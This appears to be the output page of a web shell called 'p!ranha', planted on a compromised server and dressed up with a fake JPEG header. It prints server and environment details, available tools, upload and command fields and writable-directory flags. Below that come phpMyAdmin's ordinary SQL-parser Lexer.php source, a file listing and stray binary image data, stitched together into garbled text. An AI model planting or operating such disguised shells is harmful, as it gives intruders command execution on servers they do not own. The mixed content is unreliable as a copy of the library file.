JFIFHHC     C  " 5????! ??? JFIF    >CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality C     p!ranha?
Server IP : 104.21.46.92  /  Your IP : 104.23.197.223
Web Server : Apache/2.4.51 (Unix) OpenSSL/1.1.1n
System : Linux ip-172-26-8-243 4.19.0-27-cloud-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : daemon ( 1)
PHP Version : 7.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitnami/stack/phpmyadmin/vendor/phpmyadmin/sql-parser/src/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/bitnami/stack/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Lexer.php
<?php
/**
 * Defines the lexer of the library.
 *
 * This is one of the most important components, along with the parser.
 *
 * Depends on context to extract lexemes.
 */

declare(strict_types=1);

namespace PhpMyAdmin\SqlParser;

use PhpMyAdmin\SqlParser\Exceptions\LexerException;
use function define;
use function defined;
use function in_array;
use function mb_strlen;
use function sprintf;
use function strlen;
use function substr;

if (! defined('USE_UTF_STRINGS')) {
    // NOTE: In previous versions of PHP (5.5 and older) the default
    // internal encoding is "ISO-8859-1".
    // All `mb_` functions must specify the correct encoding, which is
    // 'UTF-8' in order to work properly.

    /*
     * Forces usage of `UtfString` if the string is multibyte.
     * `UtfString` may be slower, but it gives better results.
     *
     * @var bool
     */
    define('USE_UTF_STRINGS', true);
}

/**
 * Performs lexical analysis over a SQL statement and splits it in multiple
 * tokens.
 *
 * The output of the lexer is affected by the context of the SQL statement.
 *
 * @see      Context
 */
class Lexer extends Core
{
    /**
     * A list of methods that are used in lexing the SQL query.
     *
     * @var array
     */
    public static $PARSER_METHODS = [
        // It is best to put the parsers in order of their complexity
        // (ascending) and their occurrence rate (descending).
        //
        // Conflicts:
        //
        // 1. `parseDelimiter`, `parseUnknown`, `parseKeyword`, `parseNumber`
        // They fight over delimiter. The delimiter may be a keyword, a
        // number or almost any character which makes the delimiter one of
        // the first tokens that must be parsed.
        //
        // 1. `parseNumber` and `parseOperator`
        // They fight over `+` and `-`.
        //
        // 2. `parseComment` and `parseOperator`
        // They fight over `/` (as in ```/*comment*/``` or ```a / b```)
        //
        // 3. `parseBool` and `parseKeyword`
        // They fight over `TRUE` and `FALSE`.
        //
        // 4. `parseKeyword` and `parseUnknown`
        // They fight over words. `parseUnknown` does not know about
        // keywords.

        'parseDelimiter',
        'parseWhitespace',
        'parseNumber',
        'parseComment',
        'parseOperator',
        'parseBool',
        'parseString',
        'parseSymbol',
        'parseKeyword',
        'parseLabel',
        'parseUnknown',
    ];

    /**
     * The string to be parsed.
     *
     * @var string|UtfString
     */
    public $str = '';

    /**
     * The length of `$str`.
     *
     * By storing its length, a lot of time is saved, because parsing methods
     * would call `strlen` everytime.
     *
     * @var int
     */
    public $len = 0;

    /**
     * The index of the last parsed character.
     *
     * @var int
     */
    public $last = 0;

    /**
     * Tokens extracted from given strings.
     *
     * @var TokensList
     */
    public $list;

    /**
     * The default delimiter. This is used, by default, in all new instances.
     *
     * @var string
     */
    public static $DEFAULT_DELIMITER = ';';

    /**
     * Statements delimiter.
     * This may change during lexing.
     *
     * @var string
     */
    public $delimiter;

    /**
     * The length of the delimiter.
     *
     * Because `parseDelimiter` can be called a lot, it would perform a lot of
     * calls to `strlen`, which might affect performance when the delimiter is
     * big.
     *
     * @var int
     */
    public $delimiterLen;

    /**
     * Gets the tokens list parsed by a new instance of a lexer.
     *
     * @param string|UtfString $str       the query to be lexed
     * @param bool             $strict    whether strict mode should be
     *                                    enabled or not
     * @param string           $delimiter the delimiter to be used
     *
     * @return TokensList
     */
    public static function getTokens($str, $strict = false, $delimiter = null)
    {
        $lexer = new self($str, $strict, $delimiter);

        return $lexer->list;
    }

    /**
     * @param string|UtfString $str       the query to be lexed
     * @param bool             $strict    whether strict mode should be
     *                                    enabled or not
     * @param string           $delimiter the delimiter to be used
     */
    public function __construct($str, $strict = false, $delimiter = null)
    {
        // `strlen` is used instead of `mb_strlen` because the lexer needs to
        // parse each byte of the input.
        $len = $str instanceof UtfString ? $str->length() : strlen($str);

        // For multi-byte strings, a new instance of `UtfString` is
        // initialized (only if `UtfString` usage is forced.
        if (! $str instanceof UtfString && USE_UTF_STRINGS && $len !== mb_strlen($str, 'UTF-8')) {
            $str = new UtfString($str);
        }

        $this->str = $str;
        $this->len = $str instanceof UtfString ? $str->length() : $len;

        $this->strict = $strict;

        // Setting the delimiter.
        $this->setDelimiter(
            ! empty($delimiter) ? $delimiter : static::$DEFAULT_DELIMITER
        );

        $this->lex();
    }

    /**
     * Sets the delimiter.
     *
     * @param string $delimiter the new delimiter
     */
    public function setDelimiter($delimiter)
    {
        $this->delimiter = $delimiter;
        $this->delimiterLen = strlen($delimiter);
    }

    /**
     * Parses the string and extracts lexemes.
     */
    public function lex()
    {
        // TODO: Sometimes, static::parse* functions make unnecessary calls to
        // is* functions. For a better performance, some rules can be deduced
        // from context.
        // For example, in `parseBool` there is no need to compare the token
        // every time with `true` and `false`. The first step would be to
        // compare with 'true' only and just after that add another letter from
        // context and compare again with `false`.
        // Another example is `parseComment`.

        $list = new TokensList();

        /**
         * Last processed token.
         *
         * @var Token
         */
        $lastToken = null;

        for ($this->last = 0, $lastIdx = 0; $this->last < $this->len; $lastIdx = ++$this->last) {
            /**
             * The new token.
             *
             * @var Token
             */
            $token = null;

            foreach (static::$PARSER_METHODS as $method) {
                $token = $this->$method();

                if ($token) {
                    break;
                }
            }

            if ($token === null) {
                // @assert($this->last === $lastIdx);
                $token = new Token($this->str[$this->last]);
                $this->error(
                    'Unexpected character.',
                    $this->str[$this->last],
                    $this->last
                );
            } elseif ($lastToken !== null
                && $token->type === Token::TYPE_SYMBOL
                && $token->flags & Token::FLAG_SYMBOL_VARIABLE
                && (
                    $lastToken->type === Token::TYPE_STRING
                    || (
                        $lastToken->type === Token::TYPE_SYMBOL
                        && $lastToken->flags & Token::FLAG_SYMBOL_BACKTICK
                    )
                )
            ) {
                // Handles ```... FROM 'user'@'%' ...```.
                $lastToken->token .= $token->token;
                $lastToken->type = Token::TYPE_SYMBOL;
                $lastToken->flags = Token::FLAG_SYMBOL_USER;
                $lastToken->value .= '@' . $token->value;
                continue;
            } elseif ($lastToken !== null
                && $token->type === Token::TYPE_KEYWORD
                && $lastToken->type === Token::TYPE_OPERATOR
                && $lastToken->value === '.'
            ) {
                // Handles ```... tbl.FROM ...```. In this case, FROM is not
                // a reserved word.
                $token->type = Token::TYPE_NONE;
                $token->flags = 0;
                $token->value = $token->token;
            }

            $token->position = $lastIdx;

            $list->tokens[$list->count++] = $token;

            // Handling delimiters.
            if ($token->type === Token::TYPE_NONE && $token->value === 'DELIMITER') {
                if ($this->last + 1 >= $this->len) {
                    $this->error(
                        'Expected whitespace(s) before delimiter.',
                        '',
                        $this->last + 1
                    );
                    continue;
                }

                // Skipping last R (from `delimiteR`) and whitespaces between
                // the keyword `DELIMITER` and the actual delimiter.
                $pos = ++$this->last;
                $token = $this->parseWhitespace();

                if ($token !== null) {
                    $token->position = $pos;
                    $list->tokens[$list->count++] = $token;
                }

                // Preparing the token that holds the new delimiter.
                if ($this->last + 1 >= $this->len) {
                    $this->error(
                        'Expected delimiter.',
                        '',
                        $this->last + 1
                    );
                    continue;
                }

                $pos = $this->last + 1;

                // Parsing the delimiter.
                $this->delimiter = null;
                $delimiterLen = 0;
                while (++$this->last < $this->len
                    && ! Context::isWhitespace($this->str[$this->last])
                    && $delimiterLen < 15
                ) {
                    $this->delimiter .= $this->str[$this->last];
                    ++$delimiterLen;
                }

                if (empty($this->delimiter)) {
                    $this->error(
                        'Expected delimiter.',
                        '',
                        $this->last
                    );
                    $this->delimiter = ';';
                }

                --$this->last;

                // Saving the delimiter and its token.
                $this->delimiterLen = strlen($this->delimiter);
                $token = new Token($this->delimiter, Token::TYPE_DELIMITER);
                $token->position = $pos;
                $list->tokens[$list->count++] = $token;
            }

            $lastToken = $token;
        }

        // Adding a final delimiter to mark the ending.
        $list->tokens[$list->count++] = new Token(null, Token::TYPE_DELIMITER);

        // Saving the tokens list.
        $this->list = $list;

        $this->solveAmbiguityOnStarOperator();
    }

    /**
     * Resolves the ambiguity when dealing with the "*" operator.
     *
     * In SQL statements, the "*" operator can be an arithmetic operator (like in 2*3) or an SQL wildcard (like in
     * SELECT a.* FROM ...). To solve this ambiguity, the solution is to find the next token, excluding whitespaces and
     * comments, right after the "*" position. The "*" is for sure an SQL wildcard if the next token found is any of:
     * - "FROM" (the FROM keyword like in "SELECT * FROM...");
     * - "USING" (the USING keyword like in "DELETE table_name.* USING...");
     * - "," (a comma separator like in "SELECT *, field FROM...");
     * - ")" (a closing parenthesis like in "COUNT(*)").
     * This methods will change the flag of the "*" tokens when any of those condition above is true. Otherwise, the
     * default flag (arithmetic) will be kept.
     *
     * @return void
     */
    private function solveAmbiguityOnStarOperator()
    {
        $iBak = $this->list->idx;
        while (($starToken = $this->list->getNextOfTypeAndValue(Token::TYPE_OPERATOR, '*')) !== null) {
            // getNext() already gets rid of whitespaces and comments.
            $next = $this->list->getNext();

            if ($next !== null) {
                if (($next->type === Token::TYPE_KEYWORD && in_array($next->value, ['FROM', 'USING'], true))
                    || ($next->type === Token::TYPE_OPERATOR && in_array($next->value, [',', ')'], true))
                ) {
                    $starToken->flags = Token::FLAG_OPERATOR_SQL;
                }
            }
        }
        $this->list->idx = $iBak;
    }

    /**
     * Creates a new error log.
     *
     * @param string $msg  the error message
     * @param string $str  the character that produced the error
     * @param int    $pos  the position of the character
     * @param int    $code the code of the error
     *
     * @throws LexerException throws the exception, if strict mode is enabled.
     */
    public function error($msg, $str = '', $pos = 0, $code = 0)
    {
        $error = new LexerException(
            Translator::gettext($msg),
            $str,
            $pos,
            $code
        );
        parent::error($error);
    }

    /**
     * Parses a keyword.
     *
     * @return Token|null
     */
    public function parseKeyword()
    {
        $token = '';

        /**
         * Value to be returned.
         *
         * @var Token
         */
        $ret = null;

        /**
         * The value of `$this->last` where `$token` ends in `$this->str`.
         *
         * @var int
         */
        $iEnd = $this->last;

        /**
         * Whether last parsed character is a whitespace.
         *
         * @var bool
         */
        $lastSpace = false;

        for ($j = 1; $j < Context::KEYWORD_MAX_LENGTH && $this->last < $this->len; ++$j, ++$this->last) {
            // Composed keywords shouldn't have more than one whitespace between
            // keywords.
            if (Context::isWhitespace($this->str[$this->last])) {
                if ($lastSpace) {
                    --$j; // The size of the keyword didn't increase.
                    continue;
                }

                $lastSpace = true;
            } else {
                $lastSpace = false;
            }

            $token .= $this->str[$this->last];
            $flags = Context::isKeyword($token);

            if (($this->last + 1 === $this->len || Context::isSeparator($this->str[$this->last + 1])) && $flags) {
                $ret = new Token($token, Token::TYPE_KEYWORD, $flags);
                $iEnd = $this->last;

                // We don't break so we find longest keyword.
                // For example, `OR` and `ORDER` have a common prefix `OR`.
                // If we stopped at `OR`, the parsing would be invalid.
            }
        }

        $this->last = $iEnd;

        return $ret;
    }

    /**
     * Parses a label.
     *
     * @return Token|null
     */
    public function parseLabel()
    {
        $token = '';

        /**
         * Value to be returned.
         *
         * @var Token
         */
        $ret = null;

        /**
         * The value of `$this->last` where `$token` ends in `$this->str`.
         *
         * @var int
         */
        $iEnd = $this->last;
        for ($j = 1; $j < Context::LABEL_MAX_LENGTH && $this->last < $this->len; ++$j, ++$this->last) {
            if ($this->str[$this->last] === ':' && $j > 1) {
                // End of label
                $token .= $this->str[$this->last];
                $ret = new Token($token, Token::TYPE_LABEL);
                $iEnd = $this->last;
                break;
            } elseif (Context::isWhitespace($this->str[$this->last]) && $j > 1) {
                // Whitespace between label and :
                // The size of the keyword didn't increase.
                --$j;
            } elseif (Context::isSeparator($this->str[$this->last])) {
                // Any other separator
                break;
            }

            $token .= $this->str[$this->last];
        }

        $this->last = $iEnd;

        return $ret;
    }

    /**
     * Parses an operator.
     *
     * @return Token|null
     */
    public function parseOperator()
    {
        $token = '';

        /**
         * Value to be returned.
         *
         * @var Token
         */
        $ret = null;

        /**
         * The value of `$this->last` where `$token` ends in `$this->str`.
         *
         * @var int
         */
        $iEnd = $this->last;

        for ($j = 1; $j < Context::OPERATOR_MAX_LENGTH && $this->last < $this->len; ++$j, ++$this->last) {
            $token .= $this->str[$this->last];
            $flags = Context::isOperator($token);

            if ($flags) {
                $ret = new Token($token, Token::TYPE_OPERATOR, $flags);
                $iEnd = $this->last;
            }
        }

        $this->last = $iEnd;

        return $ret;
    }

    /**
     * Parses a whitespace.
     *
     * @return Token|null
     */
    public function parseWhitespace()
    {
        $token = $this->str[$this->last];

        if (! Context::isWhitespace($token)) {
            return null;
        }

        while (++$this->last < $this->len && Context::isWhitespace($this->str[$this->last])) {
            $token .= $this->str[$this->last];
        }

        --$this->last;

        return new Token($token, Token::TYPE_WHITESPACE);
    }

    /**
     * Parses a comment.
     *
     * @return Token|null
     */
    public function parseComment()
    {
        $iBak = $this->last;
        $token = $this->str[$this->last];

        // Bash style comments. (#comment\n)
        if (Context::isComment($token)) {
            while (++$this->last < $this->len
                && $this->str[$this->last] !== "\n"
            ) {
                $token .= $this->str[$this->last];
            }

            // Include trailing \n as whitespace token
            if ($this->last < $this->len) {
                --$this->last;
            }

            return new Token($token, Token::TYPE_COMMENT, Token::FLAG_COMMENT_BASH);
        }

        // C style comments. (/*comment*\/)
        if (++$this->last < $this->len) {
            $token .= $this->str[$this->last];
            if (Context::isComment($token)) {
                // There might be a conflict with "*" operator here, when string is "*/*".
                // This can occurs in the following statements:
                // - "SELECT */* comment */ FROM ..."
                // - "SELECT 2*/* comment */3 AS `six`;"
                $next = $this->last + 1;
                if (($next < $this->len) && $this->str[$next] === '*') {
                    // Conflict in "*/*": first "*" was not for ending a comment.
                    // Stop here and let other parsing method define the true behavior of that first star.
                    $this->last = $iBak;

                    return null;
                }

                $flags = Token::FLAG_COMMENT_C;

                // This comment already ended. It may be a part of a
                // previous MySQL specific command.
                if ($token === '*/') {
                    return new Token($token, Token::TYPE_COMMENT, $flags);
                }

                // Checking if this is a MySQL-specific command.
                if ($this->last + 1 < $this->len
                    && $this->str[$this->last + 1] === '!'
                ) {
                    $flags |= Token::FLAG_COMMENT_MYSQL_CMD;
                    $token .= $this->str[++$this->last];

                    while (++$this->last < $this->len
                        && $this->str[$this->last] >= '0'
                        && $this->str[$this->last] <= '9'
                    ) {
                        $token .= $this->str[$this->last];
                    }

                    --$this->last;

                    // We split this comment and parse only its beginning
                    // here.
                    return new Token($token, Token::TYPE_COMMENT, $flags);
                }

                // Parsing the comment.
                while (++$this->last < $this->len
                    && (
                        $this->str[$this->last - 1] !== '*'
                        || $this->str[$this->last] !== '/'
                    )
                ) {
                    $token .= $this->str[$this->last];
                }

                // Adding the ending.
                if ($this->last < $this->len) {
                    $token .= $this->str[$this->last];
                }

                return new Token($token, Token::TYPE_COMMENT, $flags);
            }
        }

        // SQL style comments. (-- comment\n)
        if (++$this->last < $this->len) {
            $token .= $this->str[$this->last];
            $end = false;
        } else {
            --$this->last;
            $end = true;
        }

        if (Context::isComment($token, $end)) {
            // Checking if this comment did not end already (```--\n```).
            if ($this->str[$this->last] !== "\n") {
                while (++$this->last < $this->len
                    && $this->str[$this->last] !== "\n"
                ) {
                    $token .= $this->str[$this->last];
                }
            }

            // Include trailing \n as whitespace token
            if ($this->last < $this->len) {
                --$this->last;
            }

            return new Token($token, Token::TYPE_COMMENT, Token::FLAG_COMMENT_SQL);
        }

        $this->last = $iBak;

        return null;
    }

    /**
     * Parses a boolean.
     *
     * @return Token|null
     */
    public function parseBool()
    {
        if ($this->last + 3 >= $this->len) {
            // At least `min(strlen('TRUE'), strlen('FALSE'))` characters are
            // required.
            return null;
        }

        $iBak = $this->last;
        $token = $this->str[$this->last] . $this->str[++$this->last]
        . $this->str[++$this->last] . $this->str[++$this->last]; // _TRUE_ or _FALS_e

        if (Context::isBool($token)) {
            return new Token($token, Token::TYPE_BOOL);
        } elseif (++$this->last < $this->len) {
            $token .= $this->str[$this->last]; // fals_E_
            if (Context::isBool($token)) {
                return new Token($token, Token::TYPE_BOOL, 1);
            }
        }

        $this->last = $iBak;

        return null;
    }

    /**
     * Parses a number.
     *
     * @return Token|null
     */
    public function parseNumber()
    {
        // A rudimentary state machine is being used to parse numbers due to
        // the various forms of their notation.
        //
        // Below are the states of the machines and the conditions to change
        // the state.
        //
        //      1 --------------------[ + or - ]-------------------> 1
        //      1 -------------------[ 0x or 0X ]------------------> 2
        //      1 --------------------[ 0 to 9 ]-------------------> 3
        //      1 -----------------------[ . ]---------------------> 4
        //      1 -----------------------[ b ]---------------------> 7
        //
        //      2 --------------------[ 0 to F ]-------------------> 2
        //
        //      3 --------------------[ 0 to 9 ]-------------------> 3
        //      3 -----------------------[ . ]---------------------> 4
        //      3 --------------------[ e or E ]-------------------> 5
        //
        //      4 --------------------[ 0 to 9 ]-------------------> 4
        //      4 --------------------[ e or E ]-------------------> 5
        //
        //      5 ---------------[ + or - or 0 to 9 ]--------------> 6
        //
        //      7 -----------------------[ ' ]---------------------> 8
        //
        //      8 --------------------[ 0 or 1 ]-------------------> 8
        //      8 -----------------------[ ' ]---------------------> 9
        //
        // State 1 may be reached by negative numbers.
        // State 2 is reached only by hex numbers.
        // State 4 is reached only by float numbers.
        // State 5 is reached only by numbers in approximate form.
        // State 7 is reached only by numbers in bit representation.
        //
        // Valid final states are: 2, 3, 4 and 6. Any parsing that finished in a
        // state other than these is invalid.
        // Also, negative states are invalid states.
        $iBak = $this->last;
        $token = '';
        $flags = 0;
        $state = 1;
        for (; $this->last < $this->len; ++$this->last) {
            if ($state === 1) {
                if ($this->str[$this->last] === '-') {
                    $flags |= Token::FLAG_NUMBER_NEGATIVE;
                } elseif ($this->last + 1 < $this->len
                    && $this->str[$this->last] === '0'
                    && (
                        $this->str[$this->last + 1] === 'x'
                        || $this->str[$this->last + 1] === 'X'
                    )
                ) {
                    $token .= $this->str[$this->last++];
                    $state = 2;
                } elseif ($this->str[$this->last] >= '0' && $this->str[$this->last] <= '9') {
                    $state = 3;
                } elseif ($this->str[$this->last] === '.') {
                    $state = 4;
                } elseif ($this->str[$this->last] === 'b') {
                    $state = 7;
                } elseif ($this->str[$this->last] !== '+') {
                    // `+` is a valid character in a number.
                    break;
                }
            } elseif ($state === 2) {
                $flags |= Token::FLAG_NUMBER_HEX;
                if (! (
                        ($this->str[$this->last] >= '0' && $this->str[$this->last] <= '9')
                        || ($this->str[$this->last] >= 'A' && $this->str[$this->last] <= 'F')
                        || ($this->str[$this->last] >= 'a' && $this->str[$this->last] <= 'f')
                    )
                ) {
                    break;
                }
            } elseif ($state === 3) {
                if ($this->str[$this->last] === '.') {
                    $state = 4;
                } elseif ($this->str[$this->last] === 'e' || $this->str[$this->last] === 'E') {
                    $state = 5;
                } elseif (($this->str[$this->last] >= 'a' && $this->str[$this->last] <= 'z')
                    || ($this->str[$this->last] >= 'A' && $this->str[$this->last] <= 'Z')) {
                    // A number can't be directly followed by a letter
                    $state = -$state;
                } elseif ($this->str[$this->last] < '0' || $this->str[$this->last] > '9') {
                    // Just digits and `.`, `e` and `E` are valid characters.
                    break;
                }
            } elseif ($state === 4) {
                $flags |= Token::FLAG_NUMBER_FLOAT;
                if ($this->str[$this->last] === 'e' || $this->str[$this->last] === 'E') {
                    $state = 5;
                } elseif (($this->str[$this->last] >= 'a' && $this->str[$this->last] <= 'z')
                    || ($this->str[$this->last] >= 'A' && $this->str[$this->last] <= 'Z')) {
                    // A number can't be directly followed by a letter
                    $state = -$state;
                } elseif ($this->str[$this->last] < '0' || $this->str[$this->last] > '9') {
                    // Just digits, `e` and `E` are valid characters.
                    break;
                }
            } elseif ($state === 5) {
                $flags |= Token::FLAG_NUMBER_APPROXIMATE;
                if ($this->str[$this->last] === '+' || $this->str[$this->last] === '-'
                    || ($this->str[$this->last] >= '0' && $this->str[$this->last] <= '9')
                ) {
                    $state = 6;
                } elseif (($this->str[$this->last] >= 'a' && $this->str[$this->last] <= 'z')
                    || ($this->str[$this->last] >= 'A' && $this->str[$this->last] <= 'Z')) {
                    // A number can't be directly followed by a letter
                    $state = -$state;
                } else {
                    break;
                }
            } elseif ($state === 6) {
                if ($this->str[$this->last] < '0' || $this->str[$this->last] > '9') {
                    // Just digits are valid characters.
                    break;
                }
            } elseif ($state === 7) {
                $flags |= Token::FLAG_NUMBER_BINARY;
                if ($this->str[$this->last] === '\'') {
                    $state = 8;
                } else {
                    break;
                }
            } elseif ($state === 8) {
                if ($this->str[$this->last] === '\'') {
                    $state = 9;
                } elseif ($this->str[$this->last] !== '0'
                    && $this->str[$this->last] !== '1'
                ) {
                    break;
                }
            } elseif ($state === 9) {
                break;
            }

            $token .= $this->str[$this->last];
        }

        if ($state === 2 || $state === 3
            || ($token !== '.' && $state === 4)
            || $state === 6 || $state === 9
        ) {
            --$this->last;

            return new Token($token, Token::TYPE_NUMBER, $flags);
        }

        $this->last = $iBak;

        return null;
    }

    /**
     * Parses a string.
     *
     * @param string $quote additional starting symbol
     *
     * @return Token|null
     *
     * @throws LexerException
     */
    public function parseString($quote = '')
    {
        $token = $this->str[$this->last];
        $flags = Context::isString($token);

        if (! $flags && $token !== $quote) {
            return null;
        }

        $quote = $token;

        while (++$this->last < $this->len) {
            if ($this->last + 1 < $this->len
                && (
                    ($this->str[$this->last] === $quote && $this->str[$this->last + 1] === $quote)
                    || ($this->str[$this->last] === '\\' && $quote !== '`')
                )
            ) {
                $token .= $this->str[$this->last] . $this->str[++$this->last];
            } else {
                if ($this->str[$this->last] === $quote) {
                    break;
                }

                $token .= $this->str[$this->last];
            }
        }

        if ($this->last >= $this->len || $this->str[$this->last] !== $quote) {
            $this->error(
                sprintf(
                    Translator::gettext('Ending quote %1$s was expected.'),
                    $quote
                ),
                '',
                $this->last
            );
        } else {
            $token .= $this->str[$this->last];
        }

        return new Token($token, Token::TYPE_STRING, $flags);
    }

    /**
     * Parses a symbol.
     *
     * @return Token|null
     *
     * @throws LexerException
     */
    public function parseSymbol()
    {
        $token = $this->str[$this->last];
        $flags = Context::isSymbol($token);

        if (! $flags) {
            return null;
        }

        if ($flags & Token::FLAG_SYMBOL_VARIABLE) {
            if ($this->last + 1 < $this->len && $this->str[++$this->last] === '@') {
                // This is a system variable (e.g. `@@hostname`).
                $token .= $this->str[$this->last++];
                $flags |= Token::FLAG_SYMBOL_SYSTEM;
            }
        } elseif ($flags & Token::FLAG_SYMBOL_PARAMETER) {
            if ($token !== '?' && $this->last + 1 < $this->len) {
                ++$this->last;
            }
        } else {
            $token = '';
        }

        $str = null;

        if ($this->last < $this->len) {
            $str = $this->parseString('`');

            if ($str === null) {
                $str = $this->parseUnknown();

                if ($str === null) {
                    $this->error(
                        'Variable name was expected.',
                        $this->str[$this->last],
                        $this->last
                    );
                }
            }
        }

        if ($str !== null) {
            $token .= $str->token;
        }

        return new Token($token, Token::TYPE_SYMBOL, $flags);
    }

    /**
     * Parses unknown parts of the query.
     *
     * @return Token|null
     */
    public function parseUnknown()
    {
        $token = $this->str[$this->last];
        if (Context::isSeparator($token)) {
            return null;
        }

        while (++$this->last < $this->len && ! Context::isSeparator($this->str[$this->last])) {
            $token .= $this->str[$this->last];

            // Test if end of token equals the current delimiter. If so, remove it from the token.
            if (substr($token, -$this->delimiterLen) === $this->delimiter) {
                $token = substr($token, 0, -$this->delimiterLen);
                $this->last -= $this->delimiterLen - 1;
                break;
            }
        }

        --$this->last;

        return new Token($token);
    }

    /**
     * Parses the delimiter of the query.
     *
     * @return Token|null
     */
    public function parseDelimiter()
    {
        $idx = 0;

        while ($idx < $this->delimiterLen && $this->last + $idx < $this->len) {
            if ($this->delimiter[$idx] !== $this->str[$this->last + $idx]) {
                return null;
            }

            ++$idx;
        }

        $this->last += $this->delimiterLen - 1;

        return new Token($this->delimiter, Token::TYPE_DELIMITER);
    }
}
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
June 04 2021 06:17:17
bitnami / daemon
0775
Components
--
June 04 2021 06:17:17
bitnami / daemon
0775
Contexts
--
June 04 2021 06:17:17
bitnami / daemon
0775
Exceptions
--
June 04 2021 06:17:17
bitnami / daemon
0775
Statements
--
June 04 2021 06:17:17
bitnami / daemon
0775
Tools
--
June 04 2021 06:17:17
bitnami / daemon
0775
Utils
--
June 04 2021 06:17:17
bitnami / daemon
0775
Component.php
2.052 KB
June 04 2021 06:10:01
bitnami / daemon
0664
Context.php
18.836 KB
June 04 2021 06:10:01
bitnami / daemon
0664
Core.php
0.98 KB
June 04 2021 06:10:01
bitnami / daemon
0664
Lexer.php
32.976 KB
June 04 2021 06:10:01
bitnami / daemon
0664
Parser.php
20.779 KB
June 04 2021 06:10:01
bitnami / daemon
0664
Statement.php
17.788 KB
June 04 2021 06:10:01
bitnami / daemon
0664
Token.php
9.317 KB
June 04 2021 06:10:01
bitnami / daemon
0664
TokensList.php
4.401 KB
June 04 2021 06:10:01
bitnami / daemon
0664
Translator.php
1.572 KB
June 04 2021 06:10:01
bitnami / daemon
0664
UtfString.php
4.796 KB
June 04 2021 06:10:01
bitnami / daemon
0664
 $.' ",#(7),01444'9=82<.342 C  2!!22222222222222222222222222222222222222222222222222  }|"        } !1AQa "q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz& !0`""a        w !1AQ aq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz& !0`""a   ? HRjA <̒.9;r8 Sc*#k0a0 ZY 7/$ #'Ri'H/]< q_LW9c#5AG5#T8N38UJ1z]k{}ߩ)me&/lcBa8l S7(S `AI&L@3v, y cF0-Juh!{~?"=nqo~$ѻj]M >[?) ms~=*{7E5);6!,  0G K >a9$m$ds*+ Cc r{ ogf X~2v 8SВ~W5S*&atnݮ:%J{h[K }y~b6F8 9 1;ϡa{{u/[nJi- f=Ȯ8O!c H%N@<}qlu"a&xHm<*7"& #!|Ӧqfx"oN{F;`!q9vRqR?~8p)ܵRJ Q @Xy{*ORs~QaRqE65I 5+0y FKj}uwkϮj+z{kgx5(fnrFG8QjVVF)2 `vGLsVI,ݣa(`:L0e V+2h hs`iVS4SaۯsJ-밳Mw$Qd d }}Ʒ7"asA:rR.v@ jY%`5\ܲ2H׭*d_(ܻ#'X 0r1R>"2~9Ҳ}:XgVI?*!-N=3sϿ*{":4ahKG9G{M]+]˸ `mcϱy=y:)T&J>d$nz2 sn`ܫS;y }=px`M=i* ޲ 1}=qxj Qy`A,2ScR;wfT#`~ jaR59HVyA99?aQ vNq!C=:a#m#bY /(SRt Q~ Cɶ~ VB ~2ONOZrA Af^3\t_-ϦnJ[/|2#[!,O|sV/|IS$cFwt+zTayLPZ>#a ^r7d\u "3 83&DT S@rOW PSܣ[0};NRWk "VHl>Zܠnw :q׷el,44`;/I'pxaS";vixUuY1#:}T[{Kwi ma99 c#23ɫx-3iiW"~- yY"8|c-< S#30qmI"d cqf  #5PXW ty?ysvYUB(01 JǦ5%u'ewͮ{maܳ0!B0A~z{a{kc B ` ==}r Wh{xK% s9U@p7c}1WR^yY\ brp8'sֺk'K}"+l44?0I"ڳ.0d)@fPq׬F~ZY 3"BAF$SN  @(a lbW\vxNjZIF`6 ?! Nxҩҭ OxM{jqR 0 &yL%?y$"\p4:&u$aC$xo>TK@'y{~4KcC v}&y?]Ol|_; ϡRn r[mܡ}4D}:) $XxaY8i" !pJ"V^0 Rien% 8eeY,S =?E k"bi0ʶI=O:Sk>hKON9K2uPf*ny41l~}I~*E FSj%RP7U0Ul(D2z>a}X ƭ,~C<B6 2| HC#%:a7"Sa'ysK4!0R{szR5HC+=}ygn0c|SOA9kԮ}f"R#copIC~é :^eef # <3ֻxשƤ"ӽ94'_LOF90 &ܧܭS0R0#o8#R6y}73G^2~ox:##Sr=k41 r  zo 7"_=`0ld` qt+9?x%m,{.j;%h*:U}qfp}  g$*{XLI:"fB\BUzrRr#Ь +(Px:$SR~tk9ab! S#G'oUSGv4v} Sb{{)PҺ#Bܬ86GˏdTmV$gi&'r:1SSҠ" rP*I[N9_["#Kr.F*I?ts Thյ % =ଣa$|E"~GG O#,yϩ&~\\c1L2HQR :}9!`͐ɾF''yNp|=~D""vn2s~GL IUPUw-/mme] ? aZeki,q0c10PTpAg%zS߰2ĤU]`~I;px?_Z|^agD )~J0E]##o"NO09>"Sưpc`I}˯ JG~ +dcQj's&v6}ib %\r9gxuMg~x}0?*Wa^O*#  1wssRpTpU(u}`Ref  9bݿ 1FS999)e cs{'uOSܺ0fee6~yoƧ9"%f80(OOj&E T&%rKz?.;{aX!xeUd!x9t%wO_ocM- jHX_iK#*) ~@}{ ǽBd0Rn07 y@̢ 9?S ޫ>u'ʴu\"uW5֒HYtL B}GLZTg ܰ fb69\PP 緶;!3Ln]H8:@ S}>oޢ5%k:N ",xfpHbRL0 ~} e pF0'}=T0"!&zt9?F&yR`I #}J'76w`:q*2::ñޤ<  | 'F^q`gkqyxL; Rx?!Y7P}wn ·.KUٿGr4+ %EK/ uvzTp{{wEyvi 0X :}OS'aHKq*mF@\N:t^*sn }29T.\ @>7NFNRӷwEua'[c̐O`. Ps) gu5DUR;aF$`[CFZHUB M<9SRUFwv&#s$fLg8Q$q9Jez`R[' ?zﶥu3(MSs}0@9$&-ߦO"g`+n'k/ !$-1)ae2`g۰Z#r 9|ը}Iѭǻ1Bc.qR u`^սSmk}uzmSi<6{m}VUv3 SqRSԶ9{" bg@R Tqinl!1`+xq~:f 